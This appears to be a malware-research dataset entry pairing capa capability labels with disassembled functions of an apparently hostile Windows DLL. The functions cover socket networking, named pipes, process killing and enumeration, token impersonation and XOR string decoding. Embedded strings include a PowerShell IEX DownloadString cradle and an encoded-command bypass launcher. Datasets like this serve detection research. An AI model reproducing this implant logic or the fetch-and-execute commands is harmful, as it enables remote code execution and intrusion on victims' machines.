joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000760e
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 0x18], esi
call fcn.10002543
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10007642
mov eax, edi
jmp 0x10007696
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
and dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10007675
push esi
call sub.WS2_32.dll_closesocket
jmp 0x1000763e
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x1000766d
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x1000766d
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001517d
leave
ret

Function at 0x100076f8
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
xor ebx, ebx
inc ebx
push eax
mov edi, edx
mov dword [ebp - 0x420], ebx
add esi, 4
mov dword [ebp - 0x41c], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0x428], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x424], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10007754
mov edi, eax
push edi
lea eax, [ebp - 0x408]
push esi
push eax
call fcn.10017000
add esp, 0xc
mov byte [ebp + edi - 0x408], 0
call fcn.10002543
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x100077a3
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 0x41c]
push 4
push eax
call fcn.10001d88
add esp, 0xc
jmp 0x1000782f
lea eax, [ebp - 0x408]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x100077b6
push esi
jmp 0x10007786
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x414]
push eax
call fcn.10017000
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x424]
mov word [ebp - 0x418], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x416], ax
lea eax, [ebp - 0x420]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x100077b3
push 0x10
lea eax, [ebp - 0x418]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x10007822
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100077b3
mov ebx, dword [ebp - 0x428]
push esi
call fcn.100075f3
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x1000783e
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x100078f6
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10007900
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100078f6
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x10007900
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007900
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10007869
pop esi
pop ebx
leave
ret
Function at 0x10007989
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
push ebx
push esi
mov esi, dword [0x1003c690]
xor ebx, ebx
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x64
cmp esi, ebx
je 0x10007b6c
jmp 0x100079ba
mov esi, dword [ebp - 8]
cmp dword [esi + 4], 2
jne 0x10007b5e
push dword [esi]
call sub.WS2_32.dll_htonl
mov dword [ebp - 4], eax
mov dword [ebp - 0x338], ebx
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x128], ebx
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x334], eax
xor edi, edi
inc edi
mov dword [ebp - 0x338], edi
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x230], edi
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x128]
push eax
push ebx
mov dword [ebp - 0x128], edi
call dword [sym.imp.WS2_32.dll_select]
cmp dword [esi + 0x10], 2
jne 0x10007ac2
lea eax, [ebp - 0x128]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007b5e
push ebx
push ebx
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov ecx, eax
call fcn.10007973
push edi
push ebx
push ebx
push 0x2bf20
push ecx
mov ebx, eax
mov dword [ebp - 4], eax
call fcn.10007592
add edi, 0x7f
lea esi, [ebp - 0x18]
call fcn.10001a6c
push dword [ebp - 4]
call fcn.10001a8b
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
call fcn.10001a8b
add esp, 0x1c
push 0x17
mov eax, esi
call fcn.100074ba
push eax
mov eax, esi
call fcn.10001b31
push eax
call fcn.10001d88
add esp, 0xc
mov eax, esi
call fcn.10001b18
mov esi, dword [ebp - 8]
xor ebx, ebx
jmp 0x10007b5e
lea eax, [ebp - 0x230]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10007b4b
lea eax, [ebp - 0x338]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007aef
mov dword [esi + 4], edi
push 6
jmp 0x10007b50
lea eax, [ebp - 0x128]
push eax
push dword [esi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007b3d
mov eax, dword [esi + 0x1c]
push ebx
push ebx
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1c], eax
cmp eax, 0xffffffff
lea eax, [ebp - 4]
jne 0x10007b23
mov dword [esi + 4], ebx
push 4
jmp 0x10007b28
mov dword [esi + 4], edi
push 6
push 4
push eax
call fcn.10001d88
add esp, 0xc
push dword [ebp - 8]
call sub.WS2_32.dll_closesocket
jmp 0x10007b5e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0x18]
cmp eax, dword [esi + 8]
jbe 0x10007b5e
push 4
mov dword [esi + 4], ebx
lea eax, [ebp - 4]
push 4
push eax
call fcn.10001d88
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x100079b7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007b71
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x1003c690]
push edi
xor edi, edi
test esi, esi
je 0x10007bf7
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [esi + 4]
test eax, eax
jne 0x10007b97
cmp dword [esi + 0xc], eax
jne 0x10007ba2
call ebx
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x10007b86
jmp 0x10007bf6
test eax, eax
jne 0x10007b97
call ebx
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x10007b97
cmp dword [esi + 0x10], 0
jne 0x10007bc3
push 2
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x10007bd5
cmp dword [esi + 0x10], 2
je 0x10007b97
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x10007beb
mov dword [edi + 0x20], eax
call fcn.1001518c
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x10007b9c
mov dword [0x1003c690], eax
call fcn.1001518c
pop ecx
pop ebx
pop edi
pop esi
ret

Function at 0x10007bfa
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [0x1003c690]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [0x1003c694], ebx
jne 0x10007cc7
push 0x100000
call fcn.10015269
pop ecx
mov dword [0x1003c694], eax
jmp 0x10007cc7
cmp dword [esi + 4], 1
jne 0x10007cc4
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003c694]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], 0xffffc
jbe 0x10007c6b
mov dword [ebp - 4], 0xffffc
cmp eax, 0xffffffff
je 0x10007c8f
cmp dword [ebp - 4], ebx
jbe 0x10007cc4
push dword [ebp - 4]
mov eax, dword [0x1003c694]
push dword [esi + 0x1c]
add eax, 4
call fcn.10007546
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x10007ca6
push 4
push 4
push dword [0x1003c694]
mov dword [esi + 4], ebx
call fcn.10001d88
add esp, 0xc
jmp 0x10007cc4
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x10007cc4
push 5
add ecx, 4
push ecx
push dword [0x1003c694]
call fcn.10001d88
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
cmp esi, ebx
jne 0x10007c30
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x10007e88
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
push 0x20000
call fcn.100073f9
mov edx, eax
mov ebx, 0x8000
pop ecx
mov esi, ebx
mov dword [ebp - 0x14], edx
call fcn.1000749b
mov dword [ebp - 0xc], eax
call fcn.1000749b
mov esi, 0x10000
mov dword [ebp - 4], eax
call fcn.1000749b
mov esi, dword [ebp + 0xc]
cmp esi, 0x2aaa
mov dword [ebp - 8], eax
jle 0x10007ee5
push esi
push str.Command_length___d__too_long
call fcn.10001dcd
pop ecx
pop ecx
jmp 0x1000805c
push 0x44
pop edi
push edi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.10018c40
mov dword [ebp - 0x80], edi
xor eax, eax
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
xor edi, edi
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x20], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], 0x101
mov dword [ebp - 0x48], edi
mov byte [eax + esi], 0
cmp dword [0x1003c69c], edi
je 0x10007faf
call fcn.100155e7
cdq
mov ecx, 0xea60
idiv ecx
mov edi, dword [0x1003c69c]
mov eax, edi
lea ecx, [eax + 1]
add edx, 0x800
movzx esi, dx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10007f80
sub eax, ecx
push eax
push edi
push esi
call fcn.1000a13c
mov edi, dword [ebp - 4]
add esp, 0xc
push dword [ebp + 8]
movzx eax, si
push eax
push str.IEX__New_Object_Net.Webclient_.DownloadString_http:__127.0.0.1:_u_____s
push ebx
push edi
call fcn.10015333
add esp, 0x14
jmp 0x10007fc4
push eax
push 0x1002c58c
push ebx
push dword [ebp - 4]
call fcn.10015333
mov edi, dword [ebp - 4]
add esp, 0x10
push ebx
push edi
push dword [ebp - 8]
call fcn.10015d5f
add esp, 0xc
lea ecx, [ebp + 0xc]
push ecx
add eax, eax
push edi
push eax
mov eax, dword [ebp - 8]
mov dword [ebp + 0xc], ebx
call fcn.1000a3b6
mov eax, dword [ebp + 0xc]
add esp, 0xc
push edi
push str.powershell__nop__exec_bypass__EncodedCommand___s_
push ebx
push dword [ebp - 0xc]
mov byte [eax + edi], 0
call fcn.10015333
lea eax, [ebp - 0x18]
push eax
call fcn.10005561
add esp, 0x14
push 0x10
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0xc]
call fcn.10005e28
push dword [ebp - 0x18]
mov esi, eax
call fcn.10005586
add esp, 0x14
test esi, esi
je 0x10008054
push 0x2710
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x10]
lea esi, [ebp - 0x38]
push dword [ebp - 0x1c]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10006581
add esp, 0x18
mov esi, dword [ebp - 0x14]
call fcn.1000743b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100087ad
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0x14], 0
push esi
push edi
push dword [ebp + 8]
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
call fcn.1000744d
pop ecx
mov esi, eax
call fcn.1000745e
mov edi, eax
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100087f4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x10008809
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Could_not_kill__d:__d_n
call fcn.10001dcd
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x1000887c
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x95c
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x7ff
lea eax, [ebp - 0x807]
push 0
push eax
mov byte [ebp - 0x808], 0
call fcn.10018c40
mov ecx, dword [ebp + 8]
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x958]
call fcn.1000744d
pop ecx
mov esi, eax
call fcn.1000745e
mov edi, 0x8000
lea esi, [ebp - 0x958]
mov dword [ebp - 0x934], eax
call fcn.10001a6c
cmp dword [ebp - 0x934], 0
jle 0x100088f3
push dword [ebp - 0x934]
call fcn.10001a8b
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
push eax
call fcn.10004c93
pop ecx
test eax, eax
je 0x10008912
mov dword [ebp - 0x938], 0x1002d37c
jmp 0x1000892f
call fcn.1000c50f
mov dword [ebp - 0x938], 0x1002d37c
test eax, eax
jne 0x1000892f
mov dword [ebp - 0x938], 0x1002d380
lea eax, [ebp - 0x944]
push eax
push 0x28
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000895f
push dword [ebp - 0x944]
call fcn.100048ea
pop ecx
push dword [ebp - 0x944]
call ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x940], esi
cmp esi, 0xffffffff
je 0x10008acc
lea eax, [ebp - 0x930]
push eax
push esi
mov dword [ebp - 0x930], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000899c
push esi
call ebx
jmp 0x10008acc
push dword [ebp - 0x928]
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x93c], eax
test eax, eax
jne 0x100089e4
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x958]
push eax
push str._s_t_d_t_d_n
call fcn.10001ade
add esp, 0x10
jmp 0x10008a68
push eax
lea edi, [ebp - 0x808]
call fcn.10008814
pop ecx
test eax, eax
jne 0x100089fb
mov byte [ebp - 0x808], al
lea eax, [ebp - 0x948]
push eax
push dword [ebp - 0x928]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x10008a19
or dword [ebp - 0x948], 0xffffffff
push dword [ebp - 0x93c]
call fcn.10004c93
test eax, eax
pop ecx
mov eax, 0x1002d380
jne 0x10008a34
mov eax, dword [ebp - 0x938]
push dword [ebp - 0x948]
lea ecx, [ebp - 0x808]
push ecx
push eax
push dword [ebp - 0x928]
lea eax, [ebp - 0x90c]
push dword [ebp - 0x918]
lea esi, [ebp - 0x958]
push eax
push str._s_t_d_t_d_t_s_t_s_t_d_n
call fcn.10001ade
add esp, 0x1c
push dword [ebp - 0x93c]
call ebx
lea eax, [ebp - 0x930]
push eax
push dword [ebp - 0x940]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000899c
push dword [ebp - 0x940]
call ebx
cmp dword [ebp - 0x934], 0
lea eax, [ebp - 0x958]
jne 0x10008aa5
push 0x11
jmp 0x10008aa7
push 0x16
call fcn.100074ba
push eax
lea eax, [ebp - 0x958]
call fcn.10001b31
push eax
call fcn.10001d88
add esp, 0xc
lea eax, [ebp - 0x958]
call fcn.10001b18
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x10008b18
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.10015269
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.10015333
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.1001518c
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x10008bd7
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x10008bdc
push 2
mov edi, 0x1002d3ac
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x10008bbd
mov esi, eax
push 3
mov edi, 0x1002d3b0
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x10008bbd
push ebx
call fcn.10015269
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1002c58c
mov edi, eax
push ebx
push edi
call fcn.10015333
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.10008adb
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.1001518c
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10008b59
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x10008bc0
Function at 0x10009619
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov esi, 0x200
push esi
call fcn.10015269
push esi
push 0
push eax
mov dword [0x1003f704], eax
call fcn.10018c40
add esp, 0x10
xor eax, eax
xor byte [eax + str.ihihikihikihikh], 0x69
inc eax
cmp eax, 0x1000
jl 0x10009643
push 0x1000
mov ecx, str.ihihikihikihikh
lea eax, [esp + 0x14]
call fcn.1000744d
pop ecx
jmp 0x100096f5
lea esi, [esp + 0x10]
call fcn.1000747a
movzx ebx, ax
call fcn.1000747a
movsx edi, di
movzx ecx, ax
mov eax, dword [0x1003f704]
shl edi, 3
mov dword [esp + 0xc], edi
add edi, eax
movsx eax, bx
dec eax
mov word [edi], bx
je 0x100096dd
dec eax
je 0x100096c4
dec eax
jne 0x100096f5
movsx esi, cx
push esi
call fcn.10015269
pop ecx
push esi
lea edx, [esp + 0x14]
mov dword [edi + 4], eax
call fcn.1000749b
push eax
push dword [edi + 4]
call fcn.10017000
add esp, 0xc
jmp 0x100096f5
lea esi, [esp + 0x10]
call fcn.1000745e
mov ecx, dword [0x1003f704]
mov edx, dword [esp + 0xc]
mov dword [edx + ecx + 4], eax
jmp 0x100096f5
lea esi, [esp + 0x10]
call fcn.1000747a
mov ecx, dword [0x1003f704]
mov edx, dword [esp + 0xc]
mov word [edx + ecx + 4], ax
lea esi, [esp + 0x10]
call fcn.1000747a
movzx edi, ax
test di, di
jg 0x1000966b
push 0x1000
push 0
push str.ihihikihikihikh
call fcn.10018c40
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009725
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x403]
push ebx
push eax
mov byte [ebp - 0x404], bl
call fcn.10018c40
xor eax, eax
mov dword [ebp - 0x410], ebx
lea edi, [ebp - 0x40c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov byte [ebp - 0x428], bl
lea edi, [ebp - 0x427]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add esp, 0xc
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
push edi
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea eax, [ebp - 0x428]
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x404]
push eax
push 0x1002d3ac
mov dword [ebp - 0x410], 0xc
mov dword [ebp - 0x408], edi
call fcn.10006c81
pop ecx
pop ecx
lea eax, [ebp - 0x410]
push eax
push ebx
mov esi, 0x100000
push esi
push esi
push 0xff
push 6
push 3
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x414], eax
cmp eax, 0xffffffff
jne 0x10009813
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.could_not_create_pipe:__d
call fcn.10001dcd
pop ecx
xor eax, eax
jmp 0x1000983b
push esi
call fcn.10015269
mov dword [0x1003c6a8], eax
mov eax, dword [ebp - 0x414]
mov dword [0x10031020], eax
mov dword [0x1003c6ac], ebx
mov dword [0x100322b4], 2
mov eax, edi
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret
Function at 0x1000988d
Capabilities:
Connect pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1003fb28]
push dword [0x1003f724]
mov dword [ebp - 0x40c], eax
lea eax, [ebp - 0x408]
push 0x1003f728
push eax
call fcn.10017000
add esp, 0xc
push 0
push dword [0x10031020]
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x100098e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x217
neg eax
sbb eax, eax
inc eax
je 0x100098c5
mov eax, dword [0x1003f724]
add eax, 4
push eax
lea eax, [ebp - 0x40c]
push eax
push dword [0x10031020]
call fcn.10006d4c
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.1001517d
leave
ret

Function at 0x10009e47
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
call fcn.10009b06
push 0x1003c6b4
push 3
push 9
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
test eax, eax
jne 0x10009e81
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Could_not_create_token:__d
call fcn.10001dcd
pop ecx
pop ecx
jmp 0x10009ecd
push dword [0x1003c6b4]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x10009e9f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_impersonate_token:__d
jmp 0x10009e78
push 0x400
push dword [0x1003c6b4]
call fcn.10009b23
pop ecx
pop ecx
test eax, eax
je 0x10009ecd
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10009eba
sub eax, ecx
push 0xf
push eax
push edi
call dword [ebp + 0x10]
add esp, 0xc
pop edi
pop ebp
ret

Function at 0x10009f66
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x10009fce
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x10009fc5
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret

Function at 0x1000a026
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push 0
push 1
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1000a063
test eax, eax
jbe 0x1000a063
add esi, eax
cmp esi, 2
jb 0x1000a05b
cmp byte [esi + edi - 1], 0xa
jne 0x1000a05b
cmp byte [esi + edi - 2], 0xd
je 0x1000a069
cmp esi, 0x800
jb 0x1000a02c
or eax, 0xffffffff
pop esi
pop ebp
ret
mov byte [esi + edi - 2], 0
mov eax, esi
jmp 0x1000a066